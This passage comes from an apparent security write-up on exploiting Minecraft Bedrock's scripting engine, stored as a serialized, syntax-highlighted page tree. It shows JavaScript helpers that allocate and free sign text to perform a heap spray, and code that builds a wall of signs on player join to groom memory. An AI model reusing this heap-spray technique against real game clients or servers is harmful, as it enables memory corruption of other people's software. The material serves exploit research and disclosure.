alloc",{"type":25,"tag":201,"props":151287,"children":151288},{"style":220},[151289],{"type":31,"value":298},{"type":25,"tag":201,"props":151291,"children":151292},{"style":246},[151293],{"type":31,"value":125344},{"type":25,"tag":201,"props":151295,"children":151296},{"style":220},[151297],{"type":31,"value":919},{"type":25,"tag":201,"props":151299,"children":151300},{"style":246},[151301],{"type":31,"value":151302},"fill",{"type":25,"tag":201,"props":151304,"children":151305},{"style":261},[151306],{"type":31,"value":1383},{"type":25,"tag":201,"props":151308,"children":151309},{"style":267},[151310],{"type":31,"value":151311},"\"A\"",{"type":25,"tag":201,"props":151313,"children":151314},{"style":220},[151315],{"type":31,"value":275},{"type":25,"tag":201,"props":151317,"children":151318},{"class":203,"line":278},[151319,151323,151327,151331,151336,151340,151345],{"type":25,"tag":201,"props":151320,"children":151321},{"style":230},[151322],{"type":31,"value":4539},{"type":25,"tag":201,"props":151324,"children":151325},{"style":220},[151326],{"type":31,"value":238},{"type":25,"tag":201,"props":151328,"children":151329},{"style":208},[151330],{"type":31,"value":13289},{"type":25,"tag":201,"props":151332,"children":151333},{"style":246},[151334],{"type":31,"value":151335}," sign",{"type":25,"tag":201,"props":151337,"children":151338},{"style":208},[151339],{"type":31,"value":11866},{"type":25,"tag":201,"props":151341,"children":151342},{"style":246},[151343],{"type":31,"value":151344}," signs",{"type":25,"tag":201,"props":151346,"children":151347},{"style":220},[151348],{"type":31,"value":275},{"type":25,"tag":201,"props":151350,"children":151351},{"class":203,"line":311},[151352,151356,151360,151365,151369,151374,151378,151382,151386,151390],{"type":25,"tag":201,"props":151353,"children":151354},{"style":230},[151355],{"type":31,"value":4779},{"type":25,"tag":201,"props":151357,"children":151358},{"style":220},[151359],{"type":31,"value":238},{"type":25,"tag":201,"props":151361,"children":151362},{"style":246},[151363],{"type":31,"value":151364},"sign",{"type":25,"tag":201,"props":151366,"children":151367},{"style":220},[151368],{"type":31,"value":80},{"type":25,"tag":201,"props":151370,"children":151371},{"style":246},[151372],{"type":31,"value":151373},"allocated",{"type":25,"tag":201,"props":151375,"children":151376},{"style":261},[151377],{"type":31,"value":25192},{"type":25,"tag":201,"props":151379,"children":151380},{"style":246},[151381],{"type":31,"value":151335},{"type":25,"tag":201,"props":151383,"children":151384},{"style":220},[151385],{"type":31,"value":80},{"type":25,"tag":201,"props":151387,"children":151388},{"style":246},[151389],{"type":31,"value":134049},{"type":25,"tag":201,"props":151391,"children":151392},{"style":220},[151393],{"type":31,"value":275},{"type":25,"tag":201,"props":151395,"children":151396},{"class":203,"line":330},[151397,151402],{"type":25,"tag":201,"props":151398,"children":151399},{"style":230},[151400],{"type":31,"value":151401},"            continue",{"type":25,"tag":201,"props":151403,"children":151404},{"style":220},[151405],{"type":31,"value":461},{"type":25,"tag":201,"props":151407,"children":151408},{"class":203,"line":397},[151409],{"type":25,"tag":201,"props":151410,"children":151411},{"style":220},[151412],{"type":31,"value":4853},{"type":25,"tag":201,"props":151414,"children":151415},{"class":203,"line":437},[151416],{"type":25,"tag":201,"props":151417,"children":151418},{"emptyLinePlaceholder":17},[151419],{"type":31,"value":496},{"type":25,"tag":201,"props":151421,"children":151422},{"class":203,"line":464},[151423,151428,151432,151436,151440,151445,151449,151453,151457,151461,151465,151469,151473,151477],{"type":25,"tag":201,"props":151424,"children":151425},{"style":246},[151426],{"type":31,"value":151427},"        sign",{"type":25,"tag":201,"props":151429,"children":151430},{"style":220},[151431],{"type":31,"value":80},{"type":25,"tag":201,"props":151433,"children":151434},{"style":246},[151435],{"type":31,"value":151364},{"type":25,"tag":201,"props":151437,"children":151438},{"style":220},[151439],{"type":31,"value":80},{"type":25,"tag":201,"props":151441,"children":151442},{"style":214},[151443],{"type":31,"value":151444},"setText",{"type":25,"tag":201,"props":151446,"children":151447},{"style":220},[151448],{"type":31,"value":298},{"type":25,"tag":201,"props":151450,"children":151451},{"style":246},[151452],{"type":31,"value":151302},{"type":25,"tag":201,"props":151454,"children":151455},{"style":220},[151456],{"type":31,"value":80},{"type":25,"tag":201,"props":151458,"children":151459},{"style":214},[151460],{"type":31,"value":134299},{"type":25,"tag":201,"props":151462,"children":151463},{"style":220},[151464],{"type":31,"value":298},{"type":25,"tag":201,"props":151466,"children":151467},{"style":246},[151468],{"type":31,"value":125344},{"type":25,"tag":201,"props":151470,"children":151471},{"style":261},[151472],{"type":31,"value":52333},{"type":25,"tag":201,"props":151474,"children":151475},{"style":426},[151476],{"type":31,"value":6029},{"type":25,"tag":201,"props":151478,"children":151479},{"style":220},[151480],{"type":31,"value":8732},{"type":25,"tag":201,"props":151482,"children":151483},{"class":203,"line":490},[151484,151488,151492,151496,151500,151504],{"type":25,"tag":201,"props":151485,"children":151486},{"style":246},[151487],{"type":31,"value":151427},{"type":25,"tag":201,"props":151489,"children":151490},{"style":220},[151491],{"type":31,"value":80},{"type":25,"tag":201,"props":151493,"children":151494},{"style":246},[151495],{"type":31,"value":151373},{"type":25,"tag":201,"props":151497,"children":151498},{"style":261},[151499],{"type":31,"value":413},{"type":25,"tag":201,"props":151501,"children":151502},{"style":208},[151503],{"type":31,"value":13971},{"type":25,"tag":201,"props":151505,"children":151506},{"style":220},[151507],{"type":31,"value":461},{"type":25,"tag":201,"props":151509,"children":151510},{"class":203,"line":499},[151511,151515,151519],{"type":25,"tag":201,"props":151512,"children":151513},{"style":230},[151514],{"type":31,"value":17239},{"type":25,"tag":201,"props":151516,"children":151517},{"style":246},[151518],{"type":31,"value":151335},{"type":25,"tag":201,"props":151520,"children":151521},{"style":220},[151522],{"type":31,"value":461},{"type":25,"tag":201,"props":151524,"children":151525},{"class":203,"line":522},[151526],{"type":25,"tag":201,"props":151527,"children":151528},{"style":220},[151529],{"type":31,"value":4861},{"type":25,"tag":201,"props":151531,"children":151532},{"class":203,"line":531},[151533],{"type":25,"tag":201,"props":151534,"children":151535},{"emptyLinePlaceholder":17},[151536],{"type":31,"value":496},{"type":25,"tag":201,"props":151538,"children":151539},{"class":203,"line":550},[151540,151544,151548,151553,151557,151562],{"type":25,"tag":201,"props":151541,"children":151542},{"style":246},[151543],{"type":31,"value":284},{"type":25,"tag":201,"props":151545,"children":151546},{"style":220},[151547],{"type":31,"value":80},{"type":25,"tag":201,"props":151549,"children":151550},{"style":214},[151551],{"type":31,"value":151552},"warn",{"type":25,"tag":201,"props":151554,"children":151555},{"style":220},[151556],{"type":31,"value":298},{"type":25,"tag":201,"props":151558,"children":151559},{"style":267},[151560],{"type":31,"value":151561},"\"No more allocs\"",{"type":25,"tag":201,"props":151563,"children":151564},{"style":220},[151565],{"type":31,"value":308},{"type":25,"tag":201,"props":151567,"children":151568},{"class":203,"line":563},[151569,151573,151577],{"type":25,"tag":201,"props":151570,"children":151571},{"style":230},[151572],{"type":31,"value":18486},{"type":25,"tag":201,"props":151574,"children":151575},{"style":208},[151576],{"type":31,"value":40408},{"type":25,"tag":201,"props":151578,"children":151579},{"style":220},[151580],{"type":31,"value":461},{"type":25,"tag":201,"props":151582,"children":151583},{"class":203,"line":572},[151584],{"type":25,"tag":201,"props":151585,"children":151586},{"style":220},[151587],{"type":31,"value":1187},{"type":25,"tag":201,"props":151589,"children":151590},{"class":203,"line":590},[151591],{"type":25,"tag":201,"props":151592,"children":151593},{"emptyLinePlaceholder":17},[151594],{"type":31,"value":496},{"type":25,"tag":201,"props":151596,"children":151597},{"class":203,"line":608},[151598],{"type":25,"tag":201,"props":151599,"children":151600},{"style":4497},[151601],{"type":31,"value":151602},"// Free an allocated sign in the client\n",{"type":25,"tag":201,"props":151604,"children":151605},{"class":203,"line":617},[151606,151610,151615,151619,151623],{"type":25,"tag":201,"props":151607,"children":151608},{"style":208},[151609],{"type":31,"value":211},{"type":25,"tag":201,"props":151611,"children":151612},{"style":214},[151613],{"type":31,"value":151614}," free",{"type":25,"tag":201,"props":151616,"children":151617},{"style":220},[151618],{"type":31,"value":298},{"type":25,"tag":201,"props":151620,"children":151621},{"style":246},[151622],{"type":31,"value":151364},{"type":25,"tag":201,"props":151624,"children":151625},{"style":220},[151626],{"type":31,"value":275},{"type":25,"tag":201,"props":151628,"children":151629},{"class":203,"line":625},[151630,151634,151638,151642,151646,151650,151654,151658,151662,151666,151670,151674],{"type":25,"tag":201,"props":151631,"children":151632},{"style":230},[151633],{"type":31,"value":13781},{"type":25,"tag":201,"props":151635,"children":151636},{"style":220},[151637],{"type":31,"value":238},{"type":25,"tag":201,"props":151639,"children":151640},{"style":246},[151641],{"type":31,"value":151364},{"type":25,"tag":201,"props":151643,"children":151644},{"style":261},[151645],{"type":31,"value":4789},{"type":25,"tag":201,"props":151647,"children":151648},{"style":208},[151649],{"type":31,"value":40408},{"type":25,"tag":201,"props":151651,"children":151652},{"style":261},[151653],{"type":31,"value":25192},{"type":25,"tag":201,"props":151655,"children":151656},{"style":246},[151657],{"type":31,"value":151335},{"type":25,"tag":201,"props":151659,"children":151660},{"style":220},[151661],{"type":31,"value":80},{"type":25,"tag":201,"props":151663,"children":151664},{"style":246},[151665],{"type":31,"value":151373},{"type":25,"tag":201,"props":151667,"children":151668},{"style":261},[151669],{"type":31,"value":4789},{"type":25,"tag":201,"props":151671,"children":151672},{"style":208},[151673],{"type":31,"value":542},{"type":25,"tag":201,"props":151675,"children":151676},{"style":220},[151677],{"type":31,"value":275},{"type":25,"tag":201,"props":151679,"children":151680},{"class":203,"line":642},[151681,151685],{"type":25,"tag":201,"props":151682,"children":151683},{"style":230},[151684],{"type":31,"value":17239},{"type":25,"tag":201,"props":151686,"children":151687},{"style":220},[151688],{"type":31,"value":461},{"type":25,"tag":201,"props":151690,"children":151691},{"class":203,"line":659},[151692],{"type":25,"tag":201,"props":151693,"children":151694},{"style":220},[151695],{"type":31,"value":4861},{"type":25,"tag":201,"props":151697,"children":151698},{"class":203,"line":667},[151699],{"type":25,"tag":201,"props":151700,"children":151701},{"emptyLinePlaceholder":17},[151702],{"type":31,"value":496},{"type":25,"tag":201,"props":151704,"children":151705},{"class":203,"line":676},[151706,151711,151715,151719,151723,151727,151731,151736],{"type":25,"tag":201,"props":151707,"children":151708},{"style":246},[151709],{"type":31,"value":151710},"    sign",{"type":25,"tag":201,"props":151712,"children":151713},{"style":220},[151714],{"type":31,"value":80},{"type":25,"tag":201,"props":151716,"children":151717},{"style":246},[151718],{"type":31,"value":151364},{"type":25,"tag":201,"props":151720,"children":151721},{"style":220},[151722],{"type":31,"value":80},{"type":25,"tag":201,"props":151724,"children":151725},{"style":214},[151726],{"type":31,"value":151444},{"type":25,"tag":201,"props":151728,"children":151729},{"style":220},[151730],{"type":31,"value":298},{"type":25,"tag":201,"props":151732,"children":151733},{"style":267},[151734],{"type":31,"value":151735},"\"\"",{"type":25,"tag":201,"props":151737,"children":151738},{"style":220},[151739],{"type":31,"value":308},{"type":25,"tag":201,"props":151741,"children":151742},{"class":203,"line":694},[151743,151747,151751,151755,151759,151763],{"type":25,"tag":201,"props":151744,"children":151745},{"style":246},[151746],{"type":31,"value":151710},{"type":25,"tag":201,"props":151748,"children":151749},{"style":220},[151750],{"type":31,"value":80},{"type":25,"tag":201,"props":151752,"children":151753},{"style":246},[151754],{"type":31,"value":151373},{"type":25,"tag":201,"props":151756,"children":151757},{"style":261},[151758],{"type":31,"value":413},{"type":25,"tag":201,"props":151760,"children":151761},{"style":208},[151762],{"type":31,"value":542},{"type":25,"tag":201,"props":151764,"children":151765},{"style":220},[151766],{"type":31,"value":461},{"type":25,"tag":201,"props":151768,"children":151769},{"class":203,"line":707},[151770],{"type":25,"tag":201,"props":151771,"children":151772},{"emptyLinePlaceholder":17},[151773],{"type":31,"value":496},{"type":25,"tag":201,"props":151775,"children":151776},{"class":203,"line":715},[151777,151781,151785,151790,151794,151799],{"type":25,"tag":201,"props":151778,"children":151779},{"style":246},[151780],{"type":31,"value":151710},{"type":25,"tag":201,"props":151782,"children":151783},{"style":220},[151784],{"type":31,"value":80},{"type":25,"tag":201,"props":151786,"children":151787},{"style":246},[151788],{"type":31,"value":151789},"block",{"type":25,"tag":201,"props":151791,"children":151792},{"style":220},[151793],{"type":31,"value":80},{"type":25,"tag":201,"props":151795,"children":151796},{"style":214},[151797],{"type":31,"value":151798},"setPermutation",{"type":25,"tag":201,"props":151800,"children":151801},{"style":220},[151802],{"type":31,"value":4970},{"type":25,"tag":201,"props":151804,"children":151805},{"class":203,"line":732},[151806,151811,151815,151820,151824,151829],{"type":25,"tag":201,"props":151807,"children":151808},{"style":246},[151809],{"type":31,"value":151810},"        BlockPermutation",{"type":25,"tag":201,"props":151812,"children":151813},{"style":220},[151814],{"type":31,"value":80},{"type":25,"tag":201,"props":151816,"children":151817},{"style":214},[151818],{"type":31,"value":151819},"resolve",{"type":25,"tag":201,"props":151821,"children":151822},{"style":220},[151823],{"type":31,"value":298},{"type":25,"tag":201,"props":151825,"children":151826},{"style":267},[151827],{"type":31,"value":151828},"\"minecraft:air\"",{"type":25,"tag":201,"props":151830,"children":151831},{"style":220},[151832],{"type":31,"value":4666},{"type":25,"tag":201,"props":151834,"children":151835},{"class":203,"line":749},[151836],{"type":25,"tag":201,"props":151837,"children":151838},{"style":220},[151839],{"type":31,"value":44730},{"type":25,"tag":201,"props":151841,"children":151842},{"class":203,"line":757},[151843,151847,151851,151855,151859,151863],{"type":25,"tag":201,"props":151844,"children":151845},{"style":246},[151846],{"type":31,"value":151710},{"type":25,"tag":201,"props":151848,"children":151849},{"style":220},[151850],{"type":31,"value":80},{"type":25,"tag":201,"props":151852,"children":151853},{"style":246},[151854],{"type":31,"value":134049},{"type":25,"tag":201,"props":151856,"children":151857},{"style":261},[151858],{"type":31,"value":413},{"type":25,"tag":201,"props":151860,"children":151861},{"style":208},[151862],{"type":31,"value":13971},{"type":25,"tag":201,"props":151864,"children":151865},{"style":220},[151866],{"type":31,"value":461},{"type":25,"tag":201,"props":151868,"children":151869},{"class":203,"line":765},[151870],{"type":25,"tag":201,"props":151871,"children":151872},{"style":220},[151873],{"type":31,"value":1187},{"type":25,"tag":34,"props":151875,"children":151876},{},[151877,151879,151885],{"type":31,"value":151878},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":25,"tag":115,"props":151880,"children":151882},{"className":151881},[],[151883],{"type":31,"value":151884},"signs",{"type":31,"value":151886}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":25,"tag":191,"props":151888,"children":151890},{"code":151889,"language":36685,"meta":7,"className":36683,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[151891],{"type":25,"tag":115,"props":151892,"children":151893},{"__ignoreMap":7},[151894,151909,151916,151932,151949,151956,152018,152080,152087,152103,152111,152133,152159,152184,152204,152233,152245,152252,152260,152282,152316,152323,152343,152359,152375,152391,152403,152411,152418,152425,152432,152439,152455,152470,152477,152536,152595,152602,152617,152625,152653,152681,152689,152696,152715,152742,152749,152756,152771,152778,152785,152792,152799,152855,152867,152874,152881,152942,152954],{"type":25,"tag":201,"props":151895,"children":151896},{"class":203,"line":204},[151897,151901,151905],{"type":25,"tag":201,"props":151898,"children":151899},{"style":208},[151900],{"type":31,"value":13289},{"type":25,"tag":201,"props":151902,"children":151903},{"style":246},[151904],{"type":31,"value":151344},{"type":25,"tag":201,"props":151906,"children":151907},{"style":220},[151908],{"type":31,"value":461},{"type":25,"tag":201,"props":151910,"children":151911},{"class":203,"line":226},[151912],{"type":25,"tag":201,"props":151913,"children":151914},{"emptyLinePlaceholder":17},[151915],{"type":31,"value":496},{"type":25,"tag":201,"props":151917,"children":151918},{"class":203,"line":278},[151919,151923,151928],{"type":25,"tag":201,"props":151920,"children":151921},{"style":208},[151922],{"type":31,"value":211},{"type":25,"tag":201,"props":151924,"children":151925},{"style":214},[151926],{"type":31,"value":151927}," create_wall",{"type":25,"tag":201,"props":151929,"children":151930},{"style":220},[151931],{"type":31,"value":223},{"type":25,"tag":201,"props":151933,"children":151934},{"class":203,"line":311},[151935,151940,151944],{"type":25,"tag":201,"props":151936,"children":151937},{"style":246},[151938],{"type":31,"value":151939},"    signs",{"type":25,"tag":201,"props":151941,"children":151942},{"style":261},[151943],{"type":31,"value":413},{"type":25,"tag":201,"props":151945,"children":151946},{"style":220},[151947],{"type":31,"value":151948}," [];\n",{"type":25,"tag":201,"props":151950,"children":151951},{"class":203,"line":330},[151952],{"type":25,"tag":201,"props":151953,"children":151954},{"emptyLinePlaceholder":17},[151955],{"type":31,"value":496},{"type":25,"tag":201,"props":151957,"children":151958},{"class":203,"line":397},[151959,151963,151967,151971,151976,151980,151984,151988,151993,151997,152002,152006,152010,152014],{"type":25,"tag":201,"props":151960,"children":151961},{"style":230},[151962],{"type":31,"value":4539},{"type":25,"tag":201,"props":151964,"children":151965},{"style":220},[151966],{"type":31,"value":238},{"type":25,"tag":201,"props":151968,"children":151969},{"style":208},[151970],{"type":31,"value":13289},{"type":25,"tag":201,"props":151972,"children":151973},{"style":246},[151974],{"type":31,"value":151975}," current_y",{"type":25,"tag":201,"props":151977,"children":151978},{"style":261},[151979],{"type":31,"value":413},{"type":25,"tag":201,"props":151981,"children":151982},{"style":426},[151983],{"type":31,"value":4554},{"type":25,"tag":201,"props":151985,"children":151986},{"style":220},[151987],{"type":31,"value":18723},{"type":25,"tag":201,"props":151989,"children":151990},{"style":246},[151991],{"type":31,"value":151992},"current_y",{"type":25,"tag":201,"props":151994,"children":151995},{"style":261},[151996],{"type":31,"value":3208},{"type":25,"tag":201,"props":151998,"children":151999},{"style":246},[152000],{"type":31,"value":152001}," WALL_HEIGHT",{"type":25,"tag":201,"props":152003,"children":152004},{"style":220},[152005],{"type":31,"value":18723},{"type":25,"tag":201,"props":152007,"children":152008},{"style":246},[152009],{"type":31,"value":151992},{"type":25,"tag":201,"props":152011,"children":152012},{"style":261},[152013],{"type":31,"value":52347},{"type":25,"tag":201,"props":152015,"children":152016},{"style":220},[152017],{"type":31,"value":275},{"type":25,"tag":201,"props":152019,"children":152020},{"class":203,"line":437},[152021,152025,152029,152033,152038,152042,152046,152050,152055,152059,152064,152068,152072,152076],{"type":25,"tag":201,"props":152022,"children":152023},{"style":230},[152024],{"type":31,"value":61656},{"type":25,"tag":201,"props":152026,"children":152027},{"style":220},[152028],{"type":31,"value":238},{"type":25,"tag":201,"props":152030,"children":152031},{"style":208},[152032],{"type":31,"value":13289},{"type":25,"tag":201,"props":152034,"children":152035},{"style":246},[152036],{"type":31,"value":152037}," current_x",{"type":25,"tag":201,"props":152039,"children":152040},{"style":261},[152041],{"type":31,"value":413},{"type":25,"tag":201,"props":152043,"children":152044},{"style":426},[152045],{"type":31,"value":4554},{"type":25,"tag":201,"props":152047,"children":152048},{"style":220},[152049],{"type":31,"value":18723},{"type":25,"tag":201,"props":152051,"children":152052},{"style":246},[152053],{"type":31,"value":152054},"current_x",{"type":25,"tag":201,"props":152056,"children":152057},{"style":261},[152058],{"type":31,"value":3208},{"type":25,"tag":201,"props":152060,"children":152061},{"style":246},[152062],{"type":31,"value":152063}," WALL_WIDTH",{"type":25,"tag":201,"props":152065,"children":152066},{"style":220},[152067],{"type":31,"value":18723},{"type":25,"tag":201,"props":152069,"children":152070},{"style":246},[152071],{"type":31,"value":152054},{"type":25,"tag":201,"props":152073,"children":152074},{"style":261},[152075],{"type":31,"value":52347},{"type":25,"tag":201,"props":152077,"children":152078},{"style":220},[152079],{"type":31,"value":275},{"type":25,"tag":201,"props":152081,"children":152082},{"class":203,"line":464},[152083],{"type":25,"tag":201,"props":152084,"children":152085},{"emptyLinePlaceholder":17},[152086],{"type":31,"value":496},{"type":25,"tag":201,"props":152088,"children":152089},{"class":203,"line":490},[152090,152095,152099],{"type":25,"tag":201,"props":152091,"children":152092},{"style":220},[152093],{"type":31,"value":152094},"            [",{"type":25,"tag":201,"props":152096,"children":152097},{"style":261},[152098],{"type":31,"value":11095},{"type":25,"tag":201,"props":152100,"children":152101},{"style":220},[152102],{"type":31,"value":13274},{"type":25,"tag":201,"props":152104,"children":152105},{"class":203,"line":499},[152106],{"type":25,"tag":201,"props":152107,"children":152108},{"style":220},[152109],{"type":31,"value":152110},"            \n",{"type":25,"tag":201,"props":152112,"children":152113},{"class":203,"line":522},[152114,152119,152124,152128],{"type":25,"tag":201,"props":152115,"children":152116},{"style":208},[152117],{"type":31,"value":152118},"            const",{"type":25,"tag":201,"props":152120,"children":152121},{"style":246},[152122],{"type":31,"value":152123}," sign_block",{"type":25,"tag":201,"props":152125,"children":152126},{"style":261},[152127],{"type":31,"value":413},{"type":25,"tag":201,"props":152129,"children":152130},{"style":246},[152131],{"type":31,"value":152132}," world\n",{"type":25,"tag":201,"props":152134,"children":152135},{"class":203,"line":531},[152136,152141,152146,152150,152155],{"type":25,"tag":201,"props":152137,"children":152138},{"style":220},[152139],{"type":31,"value":152140},"                .",{"type":25,"tag":201,"props":152142,"children":152143},{"style":214},[152144],{"type":31,"value":152145},"getDimension",{"type":25,"tag":201,"props":152147,"children":152148},{"style":220},[152149],{"type":31,"value":298},{"type":25,"tag":201,"props":152151,"children":152152},{"style":267},[152153],{"type":31,"value":152154},"\"overworld\"",{"type":25,"tag":201,"props":152156,"children":152157},{"style":220},[152158],{"type":31,"value":4666},{"type":25,"tag":201,"props":152160,"children":152161},{"class":203,"line":550},[152162,152166,152171,152175,152180],{"type":25,"tag":201,"props":152163,"children":152164},{"style":220},[152165],{"type":31,"value":152140},{"type":25,"tag":201,"props":152167,"children":152168},{"style":214},[152169],{"type":31,"value":152170},"getBlock",{"type":25,"tag":201,"props":152172,"children":152173},{"style":220},[152174],{"type":31,"value":298},{"type":25,"tag":201,"props":152176,"children":152177},{"style":246},[152178],{"type":31,"value":152179},"sign_location",{"type":25,"tag":201,"props":152181,"children":152182},{"style":220},[152183],{"type":31,"value":308},{"type":25,"tag":201,"props":152185,"children":152186},{"class":203,"line":563},[152187,152192,152196,152200],{"type":25,"tag":201,"props":152188,"children":152189},{"style":246},[152190],{"type":31,"value":152191},"            sign_block",{"type":25,"tag":201,"props":152193,"children":152194},{"style":220},[152195],{"type":31,"value":80},{"type":25,"tag":201,"props":152197,"children":152198},{"style":214},[152199],{"type":31,"value":151798},{"type":25,"tag":201,"props":152201,"children":152202},{"style":220},[152203],{"type":31,"value":4970},{"type":25,"tag":201,"props":152205,"children":152206},{"class":203,"line":572},[152207,152212,152216,152220,152224,152229],{"type":25,"tag":201,"props":152208,"children":152209},{"style":246},[152210],{"type":31,"value":152211},"                BlockPermutation",{"type":25,"tag":201,"props":152213,"children":152214},{"style":220},[152215],{"type":31,"value":80},{"type":25,"tag":201,"props":152217,"children":152218},{"style":214},[152219],{"type":31,"value":151819},{"type":25,"tag":201,"props":152221,"children":152222},{"style":220},[152223],{"type":31,"value":298},{"type":25,"tag":201,"props":152225,"children":152226},{"style":267},[152227],{"type":31,"value":152228},"\"minecraft:wall_sign\"",{"type":25,"tag":201,"props":152230,"children":152231},{"style":220},[152232],{"type":31,"value":49959},{"type":25,"tag":201,"props":152234,"children":152235},{"class":203,"line":590},[152236,152241],{"type":25,"tag":201,"props":152237,"children":152238},{"style":246},[152239],{"type":31,"value":152240},"                    facing_direction:",{"type":25,"tag":201,"props":152242,"children":152243},{"style":426},[152244],{"type":31,"value":20825},{"type":25,"tag":201,"props":152246,"children":152247},{"class":203,"line":608},[152248],{"type":25,"tag":201,"props":152249,"children":152250},{"style":220},[152251],{"type":31,"value":72153},{"type":25,"tag":201,"props":152253,"children":152254},{"class":203,"line":617},[152255],{"type":25,"tag":201,"props":152256,"children":152257},{"style":220},[152258],{"type":31,"value":152259},"            ));\n",{"type":25,"tag":201,"props":152261,"children":152262},{"class":203,"line":625},[152263,152268,152273,152277],{"type":25,"tag":201,"props":152264,"children":152265},{"style":208},[152266],{"type":31,"value":152267},"            let",{"type":25,"tag":201,"props":152269,"children":152270},{"style":246},[152271],{"type":31,"value":152272}," sign_component",{"type":25,"tag":201,"props":152274,"children":152275},{"style":261},[152276],{"type":31,"value":413},{"type":25,"tag":201,"props":152278,"children":152279},{"style":246},[152280],{"type":31,"value":152281}," sign_block\n",{"type":25,"tag":201,"props":152283,"children":152284},{"class":203,"line":642},[152285,152289,152294,152298,152303,152307,152312],{"type":25,"tag":201,"props":152286,"children":152287},{"style":220},[152288],{"type":31,"value":152140},{"type":25,"tag":201,"props":152290,"children":152291},{"style":214},[152292],{"type":31,"value":152293},"getComponent",{"type":25,"tag":201,"props":152295,"children":152296},{"style":220},[152297],{"type":31,"value":298},{"type":25,"tag":201,"props":152299,"children":152300},{"style":246},[152301],{"type":31,"value":152302},"BlockComponentTypes",{"type":25,"tag":201,"props":152304,"children":152305},{"style":220},[152306],{"type":31,"value":80},{"type":25,"tag":201,"props":152308,"children":152309},{"style":246},[152310],{"type":31,"value":152311},"Sign",{"type":25,"tag":201,"props":152313,"children":152314},{"style":220},[152315],{"type":31,"value":308},{"type":25,"tag":201,"props":152317,"children":152318},{"class":203,"line":659},[152319],{"type":25,"tag":201,"props":152320,"children":152321},{"emptyLinePlaceholder":17},[152322],{"type":31,"value":496},{"type":25,"tag":201,"props":152324,"children":152325},{"class":203,"line":667},[152326,152331,152335,152339],{"type":25,"tag":201,"props":152327,"children":152328},{"style":246},[152329],{"type":31,"value":152330},"            signs",{"type":25,"tag":201,"props":152332,"children":152333},{"style":220},[152334],{"type":31,"value":80},{"type":25,"tag":201,"props":152336,"children":152337},{"style":214},[152338],{"type":31,"value":5315},{"type":25,"tag":201,"props":152340,"children":152341},{"style":220},[152342],{"type":31,"value":4238},{"type":25,"tag":201,"props":152344,"children":152345},{"class":203,"line":676},[152346,152351,152355],{"type":25,"tag":201,"props":152347,"children":152348},{"style":246},[152349],{"type":31,"value":152350},"                sign:",{"type":25,"tag":201,"props":152352,"children":152353},{"style":246},[152354],{"type":31,"value":152272},{"type":25,"tag":201,"props":152356,"children":152357},{"style":220},[152358],{"type":31,"value":547},{"type":25,"tag":201,"props":152360,"children":152361},{"class":203,"line":694},[152362,152367,152371],{"type":25,"tag":201,"props":152363,"children":152364},{"style":246},[152365],{"type":31,"value":152366},"                allocated:",{"type":25,"tag":201,"props":152368,"children":152369},{"style":208},[152370],{"type":31,"value":542},{"type":25,"tag":201,"props":152372,"children":152373},{"style":220},[152374],{"type":31,"value":547},{"type":25,"tag":201,"props":152376,"children":152377},{"class":203,"line":707},[152378,152383,152387],{"type":25,"tag":201,"props":152379,"children":152380},{"style":246},[152381],{"type":31,"value":152382},"                block:",{"type":25,"tag":201,"props":152384,"children":152385},{"style":246},[152386],{"type":31,"value":152123},{"type":25,"tag":201,"props":152388,"children":152389},{"style":220},[152390],{"type":31,"value":547},{"type":25,"tag":201,"props":152392,"children":152393},{"class":203,"line":715},[152394,152399],{"type":25,"tag":201,"props":152395,"children":152396},{"style":246},[152397],{"type":31,"value":152398},"                removed:",{"type":25,"tag":201,"props":152400,"children":152401},{"style":208},[152402],{"type":31,"value":13813},{"type":25,"tag":201,"props":152404,"children":152405},{"class":203,"line":732},[152406],{"type":25,"tag":201,"props":152407,"children":152408},{"style":220},[152409],{"type":31,"value":152410},"            });\n",{"type":25,"tag":201,"props":152412,"children":152413},{"class":203,"line":749},[152414],{"type":25,"tag":201,"props":152415,"children":152416},{"style":220},[152417],{"type":31,"value":4853},{"type":25,"tag":201,"props":152419,"children":152420},{"class":203,"line":757},[152421],{"type":25,"tag":201,"props":152422,"children":152423},{"style":220},[152424],{"type":31,"value":4861},{"type":25,"tag":201,"props":152426,"children":152427},{"class":203,"line":765},[152428],{"type":25,"tag":201,"props":152429,"children":152430},{"style":220},[152431],{"type":31,"value":1187},{"type":25,"tag":201,"props":152433,"children":152434},{"class":203,"line":783},[152435],{"type":25,"tag":201,"props":152436,"children":152437},{"emptyLinePlaceholder":17},[152438],{"type":31,"value":496},{"type":25,"tag":201,"props":152440,"children":152441},{"class":203,"line":792},[152442,152446,152451],{"type":25,"tag":201,"props":152443,"children":152444},{"style":208},[152445],{"type":31,"value":211},{"type":25,"tag":201,"props":152447,"children":152448},{"style":214},[152449],{"type":31,"value":152450}," 